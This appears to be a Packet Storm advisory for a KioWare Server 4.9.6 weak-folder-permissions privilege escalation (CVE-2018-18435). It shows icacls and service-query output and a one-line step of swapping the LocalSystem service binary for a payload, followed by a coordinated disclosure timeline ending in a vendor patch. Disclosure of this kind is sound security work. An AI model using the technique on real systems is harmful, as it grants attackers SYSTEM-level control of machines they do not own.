what you don't know can hurt you

KioWare Server 4.9.6 Privilege Escalation

KioWare Server 4.9.6 Privilege Escalation
Posted Jan 7, 2019
Authored by Hashim Jawad

KioWare Server version 4.9.6 suffers from a weak folder privilege escalation vulnerability.

tags | exploit
advisories | CVE-2018-18435
MD5 | 52b9ccb56af481db3f28c3db93cc44ec

KioWare Server 4.9.6 Privilege Escalation

Change Mirror Download
# Exploit Title      : KioWare Server Version 4.9.6 - Weak Folder Permissions Privilege Escalation
# Date : 10/12/2018
# Exploit Author : Hashim Jawad - @ihack4falafel
# Vendor Homepage : https://www.kioware.com/
# Tested on : Windows Server 2016 Standard (x64)
# CVE : CVE-2018-18435

Description:
============
KioWare Server version 4.9.6 and older installs by default to "C:\kioware_com" with weak folder permissions granting any user full permission "Everyone: (F)" to the contents of the directory and it's sub-folders. In addition, the program installs a service called "KWSService" which runs as "Localsystem", this will allow any user to escalate privileges to "NT AUTHORITY\SYSTEM" by substituting the service's binary with a malicious one.

Proof:
======
C:\>icacls c:\kioware_com
C:\kioware_com Everyone:(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

C:\>sc qc KWSService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: KWSService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\kioware_com\KWSS.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : KWS Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\>icacls C:\kioware_com\KWSS.exe
C:\kioware_com\KWSS.exe Everyone:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
WIN-ONKVVSNUHKV\test:(I)(F)

Successfully processed 1 files; Failed processing 0 files

C:\>

Exploit:
========
Simply replace "KWSS.exe" with your preferred payload and wait for execution upon reboot.

# Disclosure Timeline:
# ====================
# 10-13-18: Contacted vendor
# 10-15-18: Vendor requested full report and POC
# 10-15-18: Full report and POC sent
# 10-16-18: Vendor was able to reproduce/validate the issue and filed a feature request
# 10-16-18: Asked vendor to provide timeline for patch
# 10-16-18: Requested CVE ID
# 10-17-18: CVE-2018-18435 assigned
# 10-17-18: Vendor requested 90 days timeline to patch/QA test
# 12-20-18: Vendor sent patch and requested feedback
# 12-22-18: Suggestions/modifications sent to Vendor
# 12-24-18: Vendor sent new patch and requested feedback
# 12-25-18: New Suggestions/modifications sent to Vendor
# 12-26-18: Vendor sent new patch and requested feedback
# 12-27-18: Vendor was notified that the latest patch is sufficient
# 12-31-18: Vendor released new version (v4.9.9) and patch as well
# 01-07-19: Vulnerability has been made public

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    22 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    15 Files
  • 22
    Jun 22nd
    2 Files
  • 23
    Jun 23rd
    1 Files
  • 24
    Jun 24th
    23 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close